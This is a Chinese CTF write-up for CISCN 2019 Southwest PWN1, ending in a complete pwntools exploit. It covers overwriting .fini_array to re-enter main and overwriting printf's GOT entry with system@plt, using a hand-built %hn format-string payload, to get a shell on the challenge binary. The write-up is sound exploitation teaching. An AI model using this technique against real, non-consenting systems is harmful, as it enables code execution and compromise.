【PWN · 格式化字符串|劫持fini_array|劫持got表】[CISCN 2019西南]PWN1

news2024/9/25 1:24:24

格式化字符串的经典利用:劫持got表。但是遇到漏洞点只能执行一次的情况,该怎么办?


前言

如果存在格式化字符串,保护机制开的不健全,通常可以劫持got表,构造后门函数。然而,如果不存在循环、栈溢出控制rop等方式,如果格式化字符串漏洞点正常来说只能执行一次,getshell是比较困难的。

不过,linux下的二进制程序,在最后退出时,总会执行一些清扫函数,其中涉及到了fini_array这个数据结构。


一、fini_array

网上有很多优质博客,具体原理还是各位佬讲的清楚详细(注意静态链接和动态链接的区别):

通过利用fini_array部署并启动ROP攻击 | TaQini-CSDN博客

简单来说,fini_array数组存放了函数指针,在退出时,会进行调用。 

因此,面临用户代码区域中之后一次漏洞机会时,可以通过劫持fini_array来实现二次利用。


二、题目

总结来说:

  • main函数可以触发一次格式化字符串漏洞,但是通过劫持got表getshell至少需要触发两次
  • 存在system的plt表 

三、解题过程

1.fini_array所在位置

通过linux自带的工具readelf即可

  • -a , --all 显示全部信息,等价于 -h -l -S -s -r -d -V -A -I 。
  • -h , --file-header 显示 elf 文件开始的文件头信息.
  • -l , --program-headers , --segments 显示程序头(段头)信息(如果有的话)。
  • -S , --section-headers , --sections 显示节头信息(如果有的话)。
  • -g , --section-groups 显示节组信息(如果有的话)。
  • -t , --section-details 显示节的详细信息( -S 的)。
  • -s , --syms , --symbols 显示符号表段中的项(如果有的话)。
  • -e , --headers 显示全部头信息,等价于: -h -l -S
  • -n , --notes 显示 note 段(内核注释)的信息。
  • -r , --relocs 显示可重定位段的信息。
  • -u , --unwind 显示 unwind 段信息。当前只支持 IA64 ELF 的 unwind 段信息。
  • -d , --dynamic 显示动态段的信息。
  • -V , --version-info 显示版本段的信息。
  • -A , --arch-specific 显示 CPU 构架信息。
  • -D , --use-dynamic 使用动态段中的符号表显示符号,而不是使用符号段。
  • -x , --hex-dump= 以16进制方式显示指定段内内容。 number 指定段表中段的索引,或字符串指定文件中的段名。
  • -w[liaprmfFsoR] or –debug-dump[=line,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=loc,=Ranges] 显示调试段中指定的内容。
  • -I , --histogram 显示符号的时候,显示 bucket list 长度的柱状图。
  • -v , --version 显示 readelf 的版本信息。
  • -H , --help 显示 readelf 所支持的命令行选项。
  • -W , --wide 宽行输出。

简单用 readelf -a pwn 即可

当然,IDA慢慢找也是可以的。

2.格式化字符串漏洞利用 

既然要 劫持fini_array+劫持got 那么:

payload=fmtstr_payload(4,{fini_array:main,printf_got:system_plt},write_size='short')#byte,int,long也都不可行

但是会出现超出输入长度限制的情况(byte、short);或者出现“[!] padding is negative, this will not work on glibc”的报错(int、long)。

因此我们需要自己构造,减少长度。

# offset=4
fini_array=0x804979C
printf_got=0x804989c
system_plt=0x80483d0
main=0x8048534

# 0x0804 0x8534 0x804 0x83d0
payload=p32(fini_array+2)+p32(fini_array)+p32(printf_got+2)+p32(printf_got)
payload+=(f'%{0x804-0x10}c%4$hn'+f'%{0x8534-0x804}c%5$hn').encode()
payload+=(f'%{0x10000-0x8534+0x804}c%6$hn'+f'%{0x83d0-0x804}c%7$hn').encode()

其实可以进一步减长度,fini_array和system_plt的三四字节都是0x0804,可以一次c修改两个双字节。


四、EXP 

from pwn import *
from pwn import p32

context(arch='i386',log_level='debug')

io=process('./pwn')
# io=remote('xxx',xxx)
elf=ELF('./pwn')
io.recvuntil(b'name?\n')
# gdb.attach(io);input()
# offset=4
fini_array=0x804979C
printf_got=0x804989c
system_plt=0x80483d0
main=0x8048534
libc_csu_fini=0x8048620

# payload=fmtstr_payload(4,{fini_array:main,printf_got:system_plt},write_size='short')
# 0x0804 0x8534 0x804 0x83d0
payload=p32(fini_array+2)+p32(fini_array)+p32(printf_got+2)+p32(printf_got)
payload+=(f'%{0x804-0x10}c%4$hn'+f'%{0x8534-0x804}c%5$hn').encode()
payload+=(f'%{0x10000-0x8534+0x804}c%6$hn'+f'%{0x83d0-0x804}c%7$hn').encode()
input(str(len(payload)))
io.sendline(payload)
input()
io.recvuntil(b"Welcome to my ctf! What's your name?\n")
io.sendline(b'/bin/sh\x00')

io.interactive()


总结

  • 从前过度依赖fmtstr_payload工具,这次也算是手动构造payload,更加了解格式化字符串了
  • 从前做过一题劫持fini_array但是,这次显然没记起来。于是又强化了一下,至少印象不忘

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1403833.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

手机流量卡信号弱强好坏是哪些因素来决定的呢?

大家好,我是平台小编,现在是不是还有很多人一直认为这个手机信号是跟这个卡是有直接关系的,信号不好的时候,就是手机卡的问题呢?下面我就给大家普及一下这个常识,希望能对大家有帮助! 大家千万不…

CentOS配置阿里云yum源和阿里云epel源

CentOS配置阿里云yum源和阿里云epel源 前言:一、 备份二、 配置阿里云yum源三、 配置阿里云epel源四、测试 前言: 阿里云地址 https://developer.aliyun.com/mirror/一、 备份 cd /etc/yum.repos.d/ && mkdir bak mv *.repo *repo.rpmnew ./b…

从编程中思考:大脑的局部与全局模式(一)

郭靖正在帐篷中用Unity写代码,刚写完一段代码。欧阳锋从帐篷外走进来,正要说点什么,郭靖反应敏捷,转身反手一招神龙摆尾击出,将欧阳锋震出帐篷,灰溜溜逃跑。 using UnityEngine;public class LocalGlobalD…

[MySQL]关于表的增删改查

目录 1.插入 1.1单行数据全列插入 1.2多行插入,指定列插入 ​编辑2.查询 2.1全列查询 2.2指定列查询 3.3查询字段为表达式 2.4别名 ​编辑2.5去重 2.6排序 2.7条件查询 2.7.1基本查询: 2.7.2 AND 和OR 2.7.3范围查询 2.7.4模糊查询 2.7.5分页查询 limit …

竞赛保研 机器视觉目标检测 - opencv 深度学习

文章目录 0 前言2 目标检测概念3 目标分类、定位、检测示例4 传统目标检测5 两类目标检测算法5.1 相关研究5.1.1 选择性搜索5.1.2 OverFeat 5.2 基于区域提名的方法5.2.1 R-CNN5.2.2 SPP-net5.2.3 Fast R-CNN 5.3 端到端的方法YOLOSSD 6 人体检测结果7 最后 0 前言 &#x1f5…

微服务JWT的介绍与使用

1. 无状态登录 1.1 微服务的状态 ​ 微服务集群中的每个服务,对外提供的都是Rest风格的接口,而Rest风格的一个最重要的规范就是:服务的无状态性。 ​ 什么是无状态? 服务端不保存任何客户端请求者信息客户端的每次请求必须具备…

140基于matlab的求解转子系统前三个临界转速和主振型的传递矩阵法转子系统的不平衡响应

基于matlab的求解转子系统前三个临界转速和主振型的传递矩阵法转子系统的不平衡响应。参数涉及等截面参数、材料参数、轮盘参数。程序已调通,可直接运行。 140 matlab临界转速及振型 (xiaohongshu.com)

pod 报错Failed to connect to github.com port 443

pod 报错Failed to connect to github.com port 443 1、排查代理问题1.1、查找网络代理1.2、修改 Git 的代理 2、排查DNS解析问题2.1、查找 ip地址2.2、修改 host 文件 1、排查代理问题 1.1、查找网络代理 打开 设置 --> 网络与Internet --> 查找代理 1.2、修改 Git …

在IDEA中使用快捷键让XML注释更加规范

Setting -> Editor -> Code Style -> XML 取消勾选 Line comment at first column 这样我们在使用ctrl / 快速注释时,就可以让注释符号紧贴注释内容,不出现空格。

k8s-helm

Helm: 什么是helm,在没有这个heml之前,deployment service ingress的作用就是通过打包的方式,把deployment service ingress这些打包在一块,一键式的部署服务,类似于yum 官方提供的一个类似于安全仓库的功能,可以实现…

C++ 20 Module

头文件包含一直是C/C的传统,它使代码声明与实现分离,但它有一个非常大的问题就是会被重复编译,拖累编译速度。 通常一个标准头文件iostream展开后可能达几十万甚至上百万行。笔者使用下面的示例进行测试,新建一个main.cc&#xf…

自动文章生成软件:自用工具推荐与使用技巧

在信息爆炸的时代,内容创作已成为企业和个人提升品牌影响力、增加流量和提升知名度的重要手段。然而,手动撰写大量文章既费时又费力。有没有一种方法可以快速、高效地生成文章呢?答案是肯定的,今天我们就来分享一款自用的AI批量生…

(十一)Head first design patterns状态模式(c++)

状态模式 如何去描述状态机? 假设你需要实例化一台电梯,并模仿出电梯的四个状态:开启、关闭、运行、停止。也许你会这么写 class ILift{ public:virtual void open(){}virtual void close(){}virtual void run(){}virtual void stop(){} }…

windows用mingw(g++)编译opencv,opencv_contrib,并install安装

windows下用mingw编译opencv貌似不支持cuda,选cuda会报错,我无法解决,所以没选cuda,下面两种编译方式支持。 如要用msvc编译opencv,参考我另外一篇文章 https://blog.csdn.net/weixin_44733606/article/details/1357…

gRPC-gateway使用介绍

gRPC-gateway 参考资料:gRPC-Gateway使用指南 服务中,使用了gRPC gateway(代理)来将外部的http请求映射为内部rpc调用。 proto文件示例: // 导入google/api/annotations.proto import "google/api/annotations…

《WebKit 技术内幕》学习之九(4): JavaScript引擎

4 实践——高效的JavaScript代码 4.1 编程方式 关于如何使用JavaScript语言来编写高效的代码,有很多铺天盖地的经验分享,以及很多特别好的建议,读者可以搜索相关的词条,就能获得一些你可能需要的结果。同时,本节希望…

在全志H616核桃派上实现USB摄像头的OpenCV颜色检测

在给核桃派开发板用OpenCV读取图像并显示到pyqt5的窗口上并加入颜色检测功能,尝试将图像中所有蓝色的东西都用一个框标记出来。 颜色检测核心api 按照惯例,先要介绍一下opencv中常用的hsv像素格式。颜色还是那个颜色,只是描述颜色用的参数变…

图神经网络X项目|基于图神经网络的电商行为的预测(5%)

文章目录 Jupyter Notebook 学习人工智能的好帮手数据集数据集下载数据集调用数据集应用技巧——获取不重复的编号数据集应用技巧——随机采样数据集应用技巧——抽取前N项进行模拟测试 数据集构建技巧一——查看数据集构建进度 Jupyter Notebook 学习人工智能的好帮手 【Jupy…

opencv010 卷积02(方盒滤波和均值滤波)

今天继续学习滤波器的相关知识!这篇比较简单,也短一些,明天写高斯滤波 方盒滤波 boxFilter(scr, ddepth, ksize[, dst[, anchor[, normalize[, borderType]]]]) 方盒滤波的卷积核如下: normalize(标准化&#xff0…

从潮汐架构和安第斯大模型,看智能手机的未来演进

好久没聊手机了,今天聊聊手机。 最近这段时间,手机厂商纷纷发布了自家最新的旗舰系列。其中,有一些技术,蛮值得关注的。 大家都知道,手机行业是出了名的“内卷”,厂商之间的竞争非常激烈。但从本质来说&…